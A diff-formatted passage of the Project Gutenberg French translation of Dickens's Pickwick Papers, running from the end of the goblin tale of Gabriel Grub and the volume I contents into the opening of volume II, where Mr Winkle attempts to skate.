+pouvait pas l'être. Nous le connaissons! nous le connaissons!»
+
+Ici le lutin fit retentir les échos d'un ricanement aigu; puis, jetant
+ses jambes en l'air, il se planta au bord de la pierre tumulaire, debout
+sur sa tête, ou plutôt sur la pointe de son chapeau; ensuite, faisant la
+culbute avec une incroyable agilité, il se retrouva juste aux pieds du
+sacristain, dans l'attitude favorite des tailleurs et des odalisques.
+
+«Je crains.... je crains d'être obligé de vous quitter, monsieur,
+murmura le sacristain en faisant un effort pour se mouvoir.
+
+--Nous quitter! s'écria le goblin, Gabriel Grub, nous quitter! oh! oh!
+oh!»
+
+Tandis que le goblin riait, le sacristain vit une lumière brillante
+illuminer les fenêtres de la vieille église. Au bout d'un moment, cette
+lumière s'éteignit; les orgues modulèrent un air guilleret, et des
+volées de lutins, en tout semblables au premier, s'abattirent dans le
+cimetière et commencèrent à jouer à saute-mouton sur les pierres des
+tombeaux, les franchissant l'une après l'autre, avec une dextérité
+merveilleuse, et sans s'arrêter un seul instant pour prendre haleine.
+Mais le premier goblin était le sauteur le plus étonnant de tous, et pas
+un des nouveaux venus ne pouvait en approcher. Malgré son extrême
+frayeur, le sacristain ne pouvait s'empêcher de remarquer que les autres
+goblins se contentaient de sauter par-dessus les pierres ordinaires,
+mais que le premier faisait passer entre ses jambes, grilles, cyprès et
+caveaux de famille, avec autant d'aisance que s'il avait eu affaire à de
+simples bornes.
+
+A la fin l'intérêt du jeu devint intense. L'orgue jouait de plus en plus
+vite; les goblins sautaient de plus en plus fort, se tordant, se
+roulant, faisant mille culbutes, en bondissant comme des ballons,
+par-dessus les tombeaux. Les jambes de Gabriel se dérobaient sous lui,
+la tête lui tournait rien que de voir le tourbillon de lutins qui
+passaient devant ses yeux; lorsque tout à coup le roi des goblins, se
+précipitant sur le pauvre homme, le saisit par le collet et s'enfonça
+avec lui dans les entrailles de la terre.
+
+Quand Gabriel put respirer, après une descente rapide, il se trouva dans
+une vaste caverne, entouré de toutes parts d'une multitude de goblins
+horribles et grimaçants. Dans le milieu de la pièce, sur un trône élevé,
+était fantastiquement assis son ami du cimetière, et Gabriel Grub
+lui-même était placé auprès de lui, mais incapable de faire aucun
+mouvement.
+
+«Il fait froid, cette nuit, dit le roi des lutins. Donnez-nous quelque
+chose de chaud.»
+
+Une demi-douzaine d'officieux goblins, ayant un perpétuel sourire sur
+les lèvres, et que Gabriel reconnut à cela pour des courtisans,
+disparurent d'un air empressé et revinrent un instant après, avec un
+verre de feu liquide, qu'ils présentèrent au roi.
+
+«Ah! dit le goblin dont les joues et la gorge étaient devenues tout à
+fait transparentes, pendant le passage de la flamme, cela réchauffe un
+peu. Apportez-en un verre à M. Grub.»
+
+L'infortuné sacristain protesta vainement qu'il ne prenait jamais rien
+de chaud pendant la nuit; l'un des courtisans le tint par le nez et le
+menton, pendant qu'un autre versait dans son gosier l'ardent liquide, et
+toute l'assemblée se mit à rire avec des hurlements, tandis qu'il
+suffoquait et qu'il essuyait, avec son mouchoir, le ruisseau de larmes
+occasionné par cette boisson brûlante.
+
+«Maintenant, dit le roi fantasque, en fourrant plaisamment la pointe de
+son chapeau dans l'oeil du sacristain, de manière à lui causer une
+nouvelle souffrance; maintenant montrez à l'homme atrabilaire et
+misanthrope, quelques peintures de notre musée.»
+
+Lorsque le goblin eut prononcé ces paroles, un nuage épais qui
+obscurcissait l'un des coins de la caverne, se dissipa graduellement, et
+laissa apercevoir, apparemment à une grande distance, une chambre petite
+et mal meublée, où régnait cependant un ordre et une propreté charmante.
+Auprès d'un bon feu se prélassait un fauteuil vide, tandis que sur la
+table était arrangé un repas frugal. Une jeune mère, entourée d'enfants
+allait de temps en temps à la fenêtre et en soulevait le rideau pour
+découvrir un peu plus tôt celui qu'elle attendait. Un coup frappé à la
+porte se fit entendre; la mère alla ouvrir et les enfants pleins de joie
+battirent des mains lorsque le père entra. Il était mouillé et fatigué.
+Il secoua la neige de ses vêtements, et les enfants s'empressèrent de
+l'entourer pour emporter, l'un son chapeau, l'autre son manteau, l'autre
+son bâton, l'autre ses gants. Ensuite le père s'assit, pour prendre son
+repas, auprès du feu; les enfants grimpèrent sur ses genoux, la mère se
+plaça à côté de lui: la paix et le bonheur brillaient sur leur visage.
+
+Mais un changement se fit dans le tableau, d'une manière presque
+imperceptible. La scène représenta une petite chambre à coucher, où le
+plus jeune et le plus joli des enfants gisait sur son lit de mort. Les
+roses de ses joues étaient flétries, la lumière de ses yeux était
+éteinte, et tandis que le sacristain lui-même le considérait avec un
+intérêt qu'il n'avait jamais ressenti auparavant, le pauvre enfant
+rendit le dernier soupir. Ses jeunes frères et ses soeurs se pressèrent
+autour de son berceau, et saisirent sa main; mais elle était froide et
+roidie. Ils reculèrent et regardèrent, avec une terreur religieuse, son
+visage enfantin; car, quoique l'expression en fût calme et tranquille,
+quoique le bel enfant parût dormir en paix, ils voyaient bien que la
+mort était là, et ils savaient que maintenant leur petit frère était un
+ange dans les cieux, d'où il les contemplait et les bénissait.
+
+Un léger nuage passa de nouveau sur la peinture et le sujet en fut
+changé. Le père et la mère étaient devenus vieux et infirmes, et le
+nombre de ceux qui les entouraient avait diminué de plus de moitié.
+Cependant la paix et le contentement régnaient encore sur tous les
+visages. La famille était réunie autour du feu et les parents
+racontaient, les enfants écoutaient avec délices des histoires des
+anciens temps et des jours écoulés. Doucement et tranquillement le vieux
+père descendit dans la tombe, et bientôt après, celle qui avait partagé
+tous ses soins et toutes ses peines, le suivit dans le séjour de
+l'éternel repos. Les enfants qui leur survivaient s'agenouillèrent en
+pleurant sur le gazon du cimetière; puis ils se relevèrent et
+s'éloignèrent lentement, tristement, mais sans cris amers, sans
+lamentations désespérées, car ils étaient sûrs de les revoir bientôt
+dans le royaume céleste. Ils se mêlèrent donc de nouveau aux scènes
+actives du monde, et la tranquillité, le contentement revinrent habiter
+avec eux.
+
+Le nuage descendit alors sur le tableau et le déroba aux yeux du
+sacristain.
+
+«Qu'est-ce que vous pensez de cela?» demanda le goblin à Gabriel en
+tournant vers lui sa large face.
+
+Gabriel balbutia que c'était un spectacle fort amusant, mais il
+paraissait honteux et mal à l'aise, car le lutin fixait sur lui des yeux
+farouches.
+
+«Misérable égoïste! s'écria celui-ci d'un ton plein de mépris. Misérable
+égoïste!» Il paraissait disposé à ajouter quelque chose, mais
+l'indignation l'empêchait de prononcer. Il leva une de ses jambes
+flexibles, et l'agitant au-dessus de sa tête afin de mieux ajuster, il
+la déchargea solidement sur le dos de Gabriel. Aussitôt tous les goblins
+qui faisaient leur cour, suivirent l'exemple du maître; car c'est
+l'usage invariable des courtisans, même sur la terre, de flageller ceux
+que le pouvoir flagelle, et de cajoler ceux qu'il cajole.
+
+«Montrez-lui encore quelque chose,» dit ensuite le roi des lutins.
+
+A ces mots le nuage se dissipa, comme la première fois, et laissa
+apercevoir un riche et beau paysage, semblable à celui que l'on découvre
+encore aujourd'hui, à un quart de lieue de la vieille abbaye. Le soleil
+resplendissait dans le bleu firmament, l'eau étincelait sous ses rayons,
+et grâce à son influence bienfaisante, les arbres paraissaient plus
+verts et les fleurs plus jolies. L'onde ruisselait avec son agréable
+murmure; un vent tiède agitait les feuilles; les oiseaux chantaient dans
+les buissons et l'alouette charmait les airs de ses hymnes matinales;
+car c'était le matin, le matin étincelant et embaumé d'un beau jour
+d'été; et les feuilles les plus menues, les plus petits brins l'herbe
+paraissaient remplis de vie; la fourmi diligente accomplissait son
+travail journalier; le papillon voltigeait sur les fleurs et se baignait
+dans les chauds rayons du soleil; des myriades d'insectes étendaient
+leurs ailes transparentes et jouissaient de leur courte mais heureuse
+existence: l'homme enfin se montrait, son esprit s'exaltait en voyant la
+grandeur de la création, et tout dans la nature était harmonie et
+splendeur.
+
+Cependant Gabriel Grub ne paraissait point touché.
+
+«Misérable égoïste!» répéta le roi des goblins d'un ton plus méprisant
+encore, et derechef il agita sa jambe au-dessus de sa tête, et la fit
+descendre vivement sur les épaules du sacristain. Les gens de sa suite
+ne manquèrent pas d'en faire autant.
+
+Bien des fois le nuage s'obscurcit et se dissipa, et de nombreux
+tableaux donnèrent à Gabriel des leçons, qu'il considérait avec un
+intérêt de plus en plus vif, quoique ses épaules devinssent brûlantes,
+par l'application répétée des pieds des lutins. Il vit que les hommes
+qui travaillent péniblement et qui gagnent, à la sueur de leur front une
+modique subsistance, sont cependant gais et heureux. Il apprit que, même
+pour les plus ignorants, le doux aspect de la nature est une source
+toujours nouvelle de délices et de tranquillité. Il vit des femmes,
+nourries délicatement et tendrement élevées, supporter joyeusement des
+privations, surmonter des souffrances qui auraient écrasé des créatures
+d'une étoffe plus grossière; et cela parce qu'elles portaient dans leur
+sein une source inépuisable d'affection et de dévouement. Par-dessus
+tout, il vit que les hommes qui s'affligent du bonheur des autres, sont
+semblables aux plus mauvaises herbes dont la surface de la terre est
+infectée. Enfin balançant ensemble le bien et le mal qu'il observait, il
+arriva à cette conclusion que le monde, après tout, est une espèce de
+monde assez honnête et assez respectable.
+
+Aussitôt qu'il en fut venu là, le nuage qui avait voilé le dernier
+tableau sembla s'abaisser sur ses sens et l'inviter au repos. L'un après
+l'autre les goblins s'effacèrent, et lorsque le dernier eut disparu,
+Gabriel Grub s'endormit profondément.
+
+La jour était avancé, quand le sacristain s'éveilla. Il se trouva étendu
+tout de son long dans le cimetière, sur la tombe plate qu'il
+affectionnait. Sa bouteille d'osier, entièrement vide, gisait à ses
+côtés, et son habit, sa bêche, sa lanterne, tout blanchis par la gelée
+de la nuit, étaient éparpillés autour de lui sur la terre. La pierre sur
+laquelle il avait d'abord vu le goblin, se dressait là tout près de la
+fosse à laquelle il avait travaillé le soir précédent. Cependant,
+Gabriel commençait à douter de la réalité de ses aventures, mais les
+douleurs aiguës qu'il ressentit dans ses épaules, lorsqu'il essaya de se
+lever, l'assurèrent que les coups de pieds qu'il avait reçus n'étaient
+pas imaginaires. Il fut ébranlé de nouveau en ne voyant pas de traces de
+pas sur la neige où les lutins avaient joué à saute-mouton avec les
+tombes; mais bientôt après il s'expliqua cette circonstance en se
+rappelant que des esprits ne peuvent laisser derrière eux aucune
+impression visible.
+
+Quoi qu'il en soit, Gabriel se mit sur ses jambes aussi bien que le lui
+permettait la roideur de son épine dorsale; puis ayant secoué la gelée
+blanche de dessus son habit, il l'endossa, et se dirigea vers la ville.
+
+Mais son esprit était entièrement changé, et il ne pouvait supporter la
+pensée de retourner dans un endroit où son repentir serait mis en doute,
+sinon ridiculisé. Il hésita pendant quelques instants, puis il se
+dirigea vers la campagne pour aller gagner son pain dans un nouveau
+pays, quel qu'il fût.
+
+On trouva ce jour-là dans le cimetière, sa lanterne, sa bêche et sa
+bouteille d'osier. On fit d'abord beaucoup de suppositions sur sa
+destinée, mais on décida promptement qu'il avait été enlevé par les
+goblins. Il se trouva même des témoins très-véridiques, qui déclarèrent
+l'avoir vu distinctement emporté à travers les airs, sur le dos d'un
+cheval brun, lequel cheval était borgne, avait la queue d'un ours, et le
+train de derrière d'un lion. Au bout de quelque temps, cela fut cru
+dévotement, et le nouveau sacristain avait coutume de montrer aux
+curieux, pour une bagatelle, un morceau assez considérable du coq de
+cuivre du clocher, détaché par un coup de pied du cheval pendant sa
+course aérienne, et ramassé par ledit sacristain, dans le cimetière, un
+an ou deux après l'événement.
+
+Malheureusement, la véracité de ce récit fut légèrement infirmée par la
+réapparition inattendue de Gabriel Grub lui-même, qui revint au bout
+d'une dizaine d'années, vieillard pauvre et infirme, mais content. Il
+raconta ses aventures au pasteur et au maire, de sorte qu'après un
+certain temps, elles passèrent dans le domaine de l'histoire, où elles
+sont restées jusqu'à ce jour. Seulement ceux qui avaient cru à la brèche
+du coq de cuivre, s'apercevant qu'ils avaient été attrapés une fois, ne
+voulurent plus rien croire du tout. Ils prirent donc un air aussi malin
+qu'ils purent, levèrent les épaules, touchèrent leur front, et
+murmurèrent quelque chose sur ce que Gabriel Grub avait bu toute son
+eau-de-vie, et s'était endormi sur la tombe plate. Quant à ses
+observations dans la caverne des goblins, c'était tout simplement qu'il
+avait vu le monde et était devenu plus sage. Néanmoins cette opinion ne
+fut jamais populaire, et s'éteignit graduellement. Quelle que soit la
+version véritable, comme Gabriel Grub fut affecté de rhumatismes jusqu'à
+la fin de ses jours, son histoire a tout au moins une moralité: c'est
+qu'un homme atrabilaire, qui boit tout seul la veille de Noël, peut être
+bien sûr de ne pas s'en trouver mieux, quand même son eau-de-vie serait
+aussi bien rectifiée que celle du roi des goblins.
+
+FIN DU PREMIER VOLUME.
+
+
+
+
+TABLE DES MATIÈRES.
+
+CONTENUES DANS LE PREMIER VOLUME.
+
+
+
+I. Les pickwickiens.
+
+II. Le premier jour de voyage et la première soirée d'aventures, avec
+leurs conséquences.
+
+III. Une nouvelle connaissance. Histoire d'un clown. Une interruption
+désagréable et une rencontre fâcheuse.
+
+IV. La petite guerre. De nouveaux amis. Une invitation pour la campagne.
+
+V. Faisant voir entre autres choses comment M. Pickwick entreprit de
+conduire une voiture, et M. Winkle de monter un cheval; et comment l'un
+et l'autre en vinrent à bout.
+
+VI. Une soirée du bon vieux temps. Histoire racontée par un
+ecclésiastique.
+
+VII. Comment M. Winkle, au lieu de tirer le pigeon et de tuer la
+corneille, tira la corneille et blessa le pigeon. Comment le club de la
+Crosse de Dingley-Dell lutta contre celui de Muggleton, et comment
+Muggleton dîna aux dépens de Dingley-Dell. Avec diverses autres matières
+également instructives et intéressantes.
+
+VIII. Faisant voir clairement que la route du véritable amour n'est pas
+aussi unie qu'un chemin de fer.
+
+IX. La découverte et la poursuite.
+
+X. Destiné à dissiper tous les doutes qui pourraient exister sur le
+désintéressement de M. Jingle.
+
+XI. Contenant un autre voyage et une découverte d'antiquité: annonçant
+la résolution de M. Pickwick d'assister à une élection, et renfermant un
+manuscrit donné par le vieil ecclésiastique.
+
+XII. Qui contient une très-importante détermination de M. Pickwick,
+laquelle fait époque dans sa vie non moins que dans cette véridique
+histoire.
+
+XIII. Notice sur Eatanswill, sur les parties qui le divisent, et sur
+l'élection d'un membre du parlement par le bourg ancien, loyal et
+patriote.
+
+XIV. Contenant une courte description de la compagnie assemblée au _Paon
+d'argent_, et de plus une histoire racontée par un commis-voyageur.
+
+XV. Dans lequel se trouve un portrait fidèle de deux personnes
+distinguées, et une description exacte d'un grand déjeuner qui eut lieu
+dans leur maison et domaine. Ledit déjeuner amène la rencontre d'une
+vieille connaissance, et le commencement d'un autre chapitre.
+
+XVI. Trop plein d'aventures pour qu'on puisse les résumer brièvement.
+
+XVII. Montrant qu'une attaque de rhumatisme peut quelquefois servir de
+stimulant à un génie inventif.
+
+XVIII. Qui prouve brièvement deux points, savoir: le pouvoir des
+attaques de nerfs et la force des circonstances.
+
+XIX. Un jour heureux terminé malheureusement.
+
+XX. Où l'on voit que Dodson et Fogg étaient des hommes d'affaires, et
+leurs clercs des hommes de plaisir; qu'une entrevue touchante eut lieu
+entre M. Samuel Weller et le père qu'il avait perdu depuis longtemps; où
+l'on voit, enfin, quels esprits supérieurs s'assemblaient à _la Souche
+et la Pie_, et quel excellent chapitre sera le suivant.
+
+XXI. Dans lequel le vieux homme se lance sur son thème favori, et
+raconte l'histoire d'un drôle de client.
+
+XXII. M. Pickwick se rend à Ipswich, et rencontre une aventure
+romantique, sous la figure d'une dame d'un certain âge, en papillote de
+papier brouillard.
+
+XXIII. Dans lequel Samuel Weller s'occupe énergiquement de prendre la
+revanche de M. Trotter.
+
+XXIV. Dans lequel M. Peter Magnus devient jaloux, et la dame d'un
+certain âge, craintive; ce qui jette les pickwickiens dans les griffes
+de la justice.
+
+XXV. Montrant combien M. Nupkins était majestueux et impartial, et
+comment Sam Weller prit sa revanche de M. Joe Trotter, avec d'autres
+événement» qu'on trouvera à leur place.
+
+XXVI. Contenant un récit abrégé des progrès de l'action _Bardell contre
+Pickwick_.
+
+XXVII. Samuel Weller fait un pèlerinage à Dorking, et voit sa
+belle-mère.
+
+XXVIII. Un joyeux chapitre des fêtes de Noël, contenant le récit d'une
+noce et de quelques autres passe-temps qui sont, dans leur genre,
+d'aussi bonnes coutumes que le mariage, mais qu'on ne maintient pas
+aussi religieusement, dans ce siècle dégénéré.
+
+XXIX. Histoire du sacristain, emporté par les goblins.
+
+FIN DE LA TABLE DES MATIÈRES.
+
+
+
+
+
+
+
+
+
+
+End of Project Gutenberg's Aventures de Monsieur Pickwick, by Charles Dickens
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+The Project Gutenberg EBook of Aventures de Monsieur Pickwick, Vol. II
+by Charles Dickens
+
+This eBook is for the use of anyone anywhere at no cost and with
+almost no restrictions whatsoever.  You may copy it, give it away or
+re-use it under the terms of the Project Gutenberg License included
+with this eBook or online at www.gutenberg.org
+
+
+Title: Aventures de Monsieur Pickwick, Vol. II
+
+Author: Charles Dickens
+
+Release Date: January 24, 2005 [EBook #14789]
+
+Language: French
+
+
+*** START OF THIS PROJECT GUTENBERG EBOOK AVENTURES DE MONSIEUR PICKWICK ***
+
+
+
+
+Produced by Robert Connal, Wilelmina Mallière and the Online
+Distributed Proofreading Team.
+
+
+
+
+
+
+
+
+
+
+AVENTURES
+
+DE MONSIEUR
+
+PICKWICK
+
+
+
+
+CHARLES DICKENS
+
+
+AVENTURES DE MONSIEUR PICKWICK
+
+
+ROMAN ANGLAIS
+
+TRADUIT AVEC L'AUTORISATION DE L'AUTEUR SOUS LA DIRECTION DE P. LORAIN
+
+PAR P. GROLIER
+
+TOME SECOND
+
+PARIS
+
+LIBRAIRIE HACHETTE ET Cie
+
+79, BOULEVARD SAINT-GERMAIN, 79
+
+
+1893
+
+
+
+
+AVENTURES
+
+DE
+
+M. PICKWICK.
+
+
+       *       *       *       *       *
+
+
+
+
+CHAPITRE PREMIER.
+
+Comment les pickwickiens firent et cultivèrent la connaissance d'une
+couple d'agréables jeunes gens, appartenant à une des professions
+libérales; comment ils folâtrèrent sur la glace; et comment se termina
+leur visite.
+
+
+«Eh bien! Sam, il gèle toujours?» dit M. Pickwick à son domestique
+favori, comme celui-ci entrait dans sa chambre le matin du jour de Noël,
+pour lui apprêter l'eau chaude nécessaire.
+
+«L'eau du pot à eau n'est plus qu'un masque de glace, monsieur.
+
+--Une rude saison, Sam!
+
+--Beau temps pour ceux qui sont bien vêtus, monsieur, comme disait
+l'ours blanc en s'exerçant à patiner.
+
+--Je descendrai dans un quart d'heure, Sam, reprit M. Pickwick, en
+dénouant son bonnet de nuit.
+
+--Très-bien, monsieur, vous trouverez en bas une couple de carabins.
+
+--Une couple de quoi? s'écria M. Pickwick en s'asseyant sur son lit.
+
+--Une couple de carabins, monsieur.
+
+--Qu'est-ce que c'est qu'un carabin? demanda M. Pickwick, incertain si
+c'était un animal vivant ou quelque comestible.
+
+--Comment! vous ne savez pas ce que c'est qu'un carabin, monsieur. Mais
+tout le monde sait que c'est un chirurgien.
+
+--Oh! un chirurgien?
+
+--Justement, monsieur. Quoique ça, ceux-là ne sont que des chirurgiens
+en herbe; ce sont seulement des apprentis.
+
+--En d'autres termes, ce sont, je suppose, des étudiants en médecine?»
+
+Sam Weller fit un signe affirmatif.
+
+«J'en suis charmé, dit M. Pickwick, en jetant énergiquement son bonnet
+sur son couvre-pieds. Ce sont d'aimables jeunes gens, dont le jugement
+est mûri par l'habitude d'observer et de réfléchir; dont les goûts sont
+épurés par l'étude et par la lecture: je serai charmé de les voir.
+
+--Ils fument des cigares au coin du feu dans la cuisine, dit Sam.
+
+--Ah! fit M. Pickwick en se frottant les mains, justement ce que j'aime:
+surabondance d'esprits animaux et de socialité.
+
+--Et il y en a un, poursuivit Sam, sans remarquer l'interruption de son
+maître; il y en a un qui a ses pieds sur la table, et qui pompe ferme de
+l'eau-de-vie; pendant que l'autre qui parait amateur de mollusques, a
+pris un baril d'huîtres entre ses genoux, il les ouvre à la vapeur, et
+les avale de même, et avec les coquilles il vise not' jeune popotame qui
+est endormi dans le coin de la cheminée.
+
+--Excentricités du génie, Sam. Vous pouvez vous retirer.»
+
+Sam se retira, en conséquence, et M. Pickwick, au bout d'un quart
+d'heure, descendit pour déjeuner.
+
+«Le voici à la fin, s'écria le vieux Wardle. Pickwick, je vous présente
+le frère de miss Allen, M. Benjamin Allen. Nous l'appelons Ben, et vous
+pouvez en faire autant, si vous voulez. Ce gentleman est son ami intime,
+monsieur....
+
+--M. Bob Sawyer,» dit M. Benjamin Allen. Et là-dessus, M. Bob Sawyer et
+M. Benjamin Allen éclatèrent de rire en duo.
+
+M. Pickwick salua Bob Sawyer, et Bob Sawyer salua M. Pickwick; après
+quoi Ben et son ami intime s'occupèrent très-assidûment des comestibles,
+ce qui donna au philosophe la facilité de les examiner.
+
+M. Benjamin Allen était un jeune homme épais, ramassé, dont les cheveux
+noirs avaient été taillés trop courts, dont la face blanche était
+taillée trop longue. Il s'était embelli d'une paire de lunettes, et
+portait une cravate blanche. Au-dessous de son habit noir, qui était
+boutonné jusqu'au menton, apparaissait le nombre ordinaire de jambes,
+revêtues d'un pantalon couleur de poivre, terminé par une paire de
+bottes imparfaitement cirées. Quoique les manches de son habit fussent
+courtes, elles ne laissaient voir aucun vestige de manchettes; et
+quoique son visage fût assez large pour admettre l'encadrement d'un col
+de chemise, il n'était orné d'aucun appendice de ce genre. Au total, son
+costume avait l'air un peu moisi, et il répandait autour de lui une
+pénétrante odeur de cigares à bon marché.
+
+M. Bob Sawyer, couvert d'un gras vêtement bleu moitié paletot, moitié
+redingote, d'un large pantalon écossais, d'un grossier gilet à doubles
+revers, avait cet air de prétention mal propre, cette tournure
+fanfaronne, particulière aux jeunes gentlemen qui fument dans la rue
+durant le jour, y chantent et y crient durant la nuit, appellent les
+garçons des tavernes par leur nom de baptême, et accomplissent dans la
+rue divers autres exploits non moins facétieux; il portait un gros
+bâton, orné d'une grosse pomme, se gardait de mettre des gants, et
+ressemblait en somme à un Robinson Crusoé, tombé dans la débauche.
+
+Telles étaient les deux notabilités auxquelles M. Pickwick fut présenté,
+dans la matinée du jour de Noël.
+
+«Superbe matinée, messieurs,» dit-il. M. Bob Sawyer fit un léger signe
+d'assentiment à cette proposition, et demanda la moutarde à M. Benjamin
+Allen.
+
+--Êtes-vous venus de loin ce matin, messieurs? poursuivit M. Pickwick.
+
+--De l'auberge du _Lion-Bleu_, à Muggleton, répondit brièvement M.
+Allen.
+
+--Vous auriez dû arriver hier au soir, continua M. Pickwick.
+
+--Et c'est ce que nous aurions fait, répliqua Bob Sawyer, mais
+l'eau-de-vie du _Lion-Bleu_ était trop bonne pour la quitter si vite;
+pas vrai, Ben?
+
+--Certainement, répondit celui-ci, et les cigares n'étaient pas mauvais,
+ni les côtelettes de porc frais non plus, hein Bob?
+
+--Assurément, repartit Bob;» et les amis intimes recommencèrent plus
+vigoureusement leur attaque sur le déjeuner, comme si le souvenir du
+souper de la veille leur avait donné un nouvel appétit.
+
+«Mastique, Bob, dit Allen à son compagnon, d'un air encourageant.
+
+--C'est ce que je fais, répondit M. Bob; et, pour lui rendre justice,
+il faut convenir qu'il s'en acquittait joliment.
+
+--Vive la dissection pour donner de l'appétit, reprit M. Bob Sawyer, en
+regardant autour de la table.»
+
+M. Pickwick frissonna légèrement.
+
+«À propos, Bob, dit M. Allen, avez-vous fini cette jambe?
+
+--À peu près, répondit M. Sawyer, en s'administrant la moitié d'une
+volaille. Elle est fort musculeuse pour une jambe d'enfant.
+
+--Vraiment? dit négligemment M. Allen.
+
+--Mais oui, répliqua Bob Sawyer, la bouche pleine.
+
+--Je me suis inscrit pour un bras à notre école, reprit M. Allen. Nous
+nous cotisons pour un sujet, et la liste est presque pleine; mais nous
+ne trouvons pas d'amateur pour la tête. Vous devriez bien la prendre.
+
+--Merci, repartit Bob Sawyer; c'est trop de luxe pour moi.
+
+--Bah! bah!
+
+--Impossible! une cervelle, je ne dis pas.... Mais une tête tout
+entière, c'est au-dessus de mes moyens.
+
+--Chut! chut! messieurs! s'écria M. Pickwick; j'entends les dames.»
+
+M. Pickwick parlait encore lorsque les dames rentrèrent de leur
+promenade matinale. Elles avaient été galamment escortées par MM.
+Snodgrass, Winkle et Tupman.
+
+«Comment, c'est toi, Ben? dit Arabelle, d'un ton qui exprimait plus de
+surprise que de plaisir, à la vue de son frère.
+
+--Je te ramène demain à la maison, Arabelle, répondit Benjamin.»
+
+M. Winkle devint pâle.
+
+«Tu ne vois donc pas Bob Sawyer?» poursuivit l'étudiant, d'un ton de
+reproche.
+
+Arabelle tendit gracieusement la main; et, comme M. Sawyer la serrait
+d'une manière visible, M. Winkle sentit dans son coeur un frémissement
+de haine.
+
+«Mon cher Ben, dit Arabelle en rougissant, as-tu... as-tu été présenté à
+M. Winkle?
+
+--Non, mais ce sera avec plaisir,» répondit son frère gravement; puis il
+salua d'un air roide M. Winkle, tandis que celui-ci et M. Bob Sawyer se
+dévisageaient du coin de l'oeil avec une méfiance mutuelle.
+
+L'arrivée de deux nouveaux visages, et la contrainte qui en résultait
+pour Arabelle et pour M. Winkle, auraient, suivant toute apparence,
+modifié d'une manière déplaisante l'entrain de la compagnie, si
+l'amabilité de M. Pickwick et la bonne humeur de leur hôte ne s'étaient
+pas déployées au plus haut degré pour le bonheur commun. M. Winkle
+s'insinua graduellement dans les bonnes grâces de M. Benjamin Allen, et
+entama même une conversation amicale avec M. Bob Sawyer, qui, grâce à
+l'eau-de-vie, au déjeuner et à la causerie, se trouvait dans une
+situation d'esprit des plus facétieuses. Il raconta avec beaucoup de
+verve comment il avait enlevé une tumeur sur la tête d'un vieux
+gentleman, illustrant cette agréable anecdote en faisant, avec son
+couteau, des incisions sur un pain d'une demi-livre, à la grande
+édification de son auditoire.
+
+Après le déjeuner, on se rendit à l'église, où M. Benjamin Allen
+s'endormit profondément, tandis que M. Bob Sawyer détachait ses pensées
+des choses terrestres par un ingénieux procédé, qui consistait à graver
+son nom sur le devant de son banc en lettres corpulentes de quatre
+pouces de hauteur environ.
+
+Après un goûter substantiel, arrosé de forte bière et de cerises à
+l'eau-de-vie, le vieux Wardle dit à ses hôtes:
+
+«Que pensez-vous d'une heure passée sur la glace? Nous avons du temps à
+revendre.
+
+--Admirable! s'écria Benjamin Allen.
+
+--Fameux! acclama Bob Sawyer.
+
+--Winkle! reprit M. Wardle. Vous patinez, nécessairement?
+
+--Eh!... oui, oh! oui, répliqua M. Winkle. Mais... mais je suis un peu
+rouillé.
+
+--Oh! monsieur Winkle, dit Arabelle, patinez, je vous en prie; j'aime
+tant à voir patiner!
+
+--C'est si gracieux!» continua une autre jeune demoiselle.
+
+Une troisième jeune demoiselle ajouta que c'était élégant; une
+quatrième, que c'était aérien.
+
+«J'en serais enchanté, répliqua M. Winkle en rougissant; mais je n'ai
+pas de patins.»
+
+Cette objection fut aisément surmontée: M. Trundle avait deux paires de
+patins, et le gros joufflu annonça qu'il y en avait en bas une
+demi-douzaine d'autres. En apprenant cette bonne nouvelle, M. Winkle
+déclara qu'il était ravi; mais, en disant cela, il avait l'air
+parfaitement misérable.
+
+M. Wardle conduisit donc ses hôtes vers une large nappe de glace. Sam
+Weller et le gros joufflu balayèrent la neige qui était tombée la nuit
+précédente, et M. Bob Sawyer ajusta ses patins avec une dextérité qui,
+aux yeux de M. Winkle, était absolument merveilleuse. Ensuite il se mit
+à tracer des cercles, à écrire des huit, à inscrire sur la glace, sans
+s'arrêter un seul instant, une collection d'agréables emblèmes, à
+l'excessive satisfaction de M. Pickwick, de M. Tupman et de toutes les
+dames. Mais ce fut bien mieux encore, ce fut un véritable enthousiasme,
+quand le vieux Wardle et Benjamin Allen, assistés par ledit Bob,
+accomplirent nombre de figures et d'évolutions mystiques.
+
+Pendant tout ce temps, M. Winkle, dont le visage et les mains étaient
+bleus de froid, s'occupait à mettre ses patins avec la pointe par
+derrière et à emmêler les courroies de la manière la plus compliquée. Il
+avait été aidé dans cette opération par M. Snodgrass, qui se connaissait
+en patins à peu près aussi bien qu'un Hindou; néanmoins, grâce à
+l'assistance de Sam, les malheureux patins furent serrés assez
+solidement pour engourdir les pieds du patient, et il fut enfin levé sur
+ses jambes.
+
+«Voila, monsieur, lui dit Sam, d'un ton encourageant; en route, à cette
+heure, et montrez-leur comme il faut s'y prendre.
+
+--Attendez, attendez! cria M. Winkle, qui tremblait violemment et qui
+avait saisi Sam avec la vigueur convulsive d'un noyé. Comme c'est
+glissant, Sam!
+
+--La glace est presque toujours comme ça. Tenez-vous donc, monsieur.»
+
+Cette dernière exhortation était inspirée à Sam par un brusque mouvement
+du patineur, qui semblait avoir un désir frénétique de lever ses pieds
+vers le ciel et de briser la glace avec le derrière de sa tête.
+
+«Voilà... voilà des patins bien peu solides; n'est-ce pas, Sam? balbutia
+M. Winkle, en trébuchant.
+
+--Je crois plutôt, répliqua l'autre, que c'est le gentleman qui est
+dedans qui n'est pas solide.
+
+--Eh bien! Winkle! cria M. Pickwick, tout à fait ignorant de ce qui se
+passait, venez donc; ces dames vous attendent avec impatience.
+
+--Oui, oui, répondit l'infortuné jeune homme, avec un sourire qui
+faisait mal à voir; oui, oui, j'y vais à l'instant.
+
+--Voilà que ça va commencer! dit Sam en cherchant à se dégager. Allons,
+monsieur, en route!
+
+--Attendez un moment, Sam, murmura M. Winkle, en s'attachant à son
+soutien avec l'affection du lierre pour l'ormeau. Je me rappelle
+maintenant que j'ai à la maison deux habits qui ne me servent plus; je
+vous les donnerai, Sam.
+
+--Merci, monsieur.
+
+--Inutile de toucher votre chapeau, Sam, reprit vivement M. Winkle; ne
+me lâchez pas!... Je voulais vous donner cinq shillings, ce matin, pour
+vos étrennes de Noël, mais vous les aurez cette après-midi, Sam.
+
+--Vous êtes bien bon, monsieur.
+
+--Tenez-moi d'abord un peu, Sam. Voulez-vous? Là... c'est cela. Je m'y
+habituerai promptement. Pas trop vite! pas trop vite! Sam!»
+
+M. Winkle, penché en avant, et le corps presque en deux, était soutenu
